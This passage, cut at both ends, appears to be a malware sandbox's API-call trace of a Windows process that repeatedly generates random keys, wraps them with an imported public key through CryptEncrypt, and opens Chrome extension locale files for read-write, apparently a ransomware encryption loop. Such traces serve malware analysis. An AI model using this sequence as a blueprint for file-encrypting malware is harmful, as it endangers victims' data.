pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.798] CryptEncrypt (in: hKey=0x65992b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x80c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x80c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.798] GetLastError () returned 0x0 [0233.798] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.798] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.800] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65990f8) returned 1 [0233.800] CryptGetKeyParam (in: hKey=0x65990f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.800] CryptEncrypt (in: hKey=0x65990f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x80d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x80d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.800] GetLastError () returned 0x0 [0233.800] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.801] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.802] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0233.804] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.805] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.805] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.806] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.806] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.807] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.808] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.808] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.808] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.809] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.811] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65996b8) returned 1 [0233.811] CryptGetKeyParam (in: hKey=0x65996b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.811] CryptEncrypt (in: hKey=0x65996b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x80e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x80e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.812] GetLastError () returned 0x0 [0233.812] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.812] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.814] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599138) returned 1 [0233.817] CryptGetKeyParam (in: hKey=0x6599138, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.817] CryptEncrypt (in: hKey=0x6599138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x80f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x80f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.818] GetLastError () returned 0x0 [0233.818] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.818] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.818] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.820] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.822] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.822] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.822] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.822] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.824] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.825] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.825] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.825] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.825] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0233.827] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65993f8) returned 1 [0233.827] CryptGetKeyParam (in: hKey=0x65993f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.827] CryptEncrypt (in: hKey=0x65993f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8100000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8100000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.828] GetLastError () returned 0x0 [0233.828] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.828] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.830] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65991f8) returned 1 [0233.830] CryptGetKeyParam (in: hKey=0x65991f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.830] CryptEncrypt (in: hKey=0x65991f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8110000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8110000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.830] GetLastError () returned 0x0 [0233.830] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.830] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.831] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.833] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.835] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.835] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.835] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.835] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.837] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.838] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.838] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.838] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.838] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.841] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599738) returned 1 [0233.841] CryptGetKeyParam (in: hKey=0x6599738, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.841] CryptEncrypt (in: hKey=0x6599738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8120000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8120000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.841] GetLastError () returned 0x0 [0233.841] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.841] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0233.843] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65996f8) returned 1 [0233.843] CryptGetKeyParam (in: hKey=0x65996f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.843] CryptEncrypt (in: hKey=0x65996f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8130000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8130000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.843] GetLastError () returned 0x0 [0233.843] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.843] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.844] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.846] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.847] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.847] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.847] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.847] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.849] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.850] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.850] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.850] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.851] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.853] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65992f8) returned 1 [0233.853] CryptGetKeyParam (in: hKey=0x65992f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.853] CryptEncrypt (in: hKey=0x65992f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8140000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8140000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.853] GetLastError () returned 0x0 [0233.853] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.853] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0233.855] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599678) returned 1 [0233.855] CryptGetKeyParam (in: hKey=0x6599678, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.855] CryptEncrypt (in: hKey=0x6599678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8150000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8150000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.855] GetLastError () returned 0x0 [0233.855] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.855] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.857] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.859] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.860] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.860] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.860] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.860] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.862] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.863] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.863] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.863] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.863] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.867] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599778) returned 1 [0233.867] CryptGetKeyParam (in: hKey=0x6599778, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.868] CryptEncrypt (in: hKey=0x6599778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8160000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8160000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.868] GetLastError () returned 0x0 [0233.868] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.868] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.878] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599338) returned 1 [0233.878] CryptGetKeyParam (in: hKey=0x6599338, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.878] CryptEncrypt (in: hKey=0x6599338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8170000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8170000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.879] GetLastError () returned 0x0 [0233.879] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.879] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.880] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.882] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.883] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.884] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.884] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.884] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.885] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.887] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.887] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.887] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.887] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0233.889] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599538) returned 1 [0233.889] CryptGetKeyParam (in: hKey=0x6599538, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.889] CryptEncrypt (in: hKey=0x6599538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8180000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8180000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.890] GetLastError () returned 0x0 [0233.890] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.890] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.892] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599378) returned 1 [0233.892] CryptGetKeyParam (in: hKey=0x6599378, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.892] CryptEncrypt (in: hKey=0x6599378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8190000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8190000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.892] GetLastError () returned 0x0 [0233.892] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.892] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.893] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.896] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.898] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.898] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.898] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.898] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.900] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.902] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.902] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.902] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.902] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.904] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599178) returned 1 [0233.904] CryptGetKeyParam (in: hKey=0x6599178, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.904] CryptEncrypt (in: hKey=0x6599178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x81a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x81a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.904] GetLastError () returned 0x0 [0233.904] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.904] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0233.907] CryptImportKey (in: 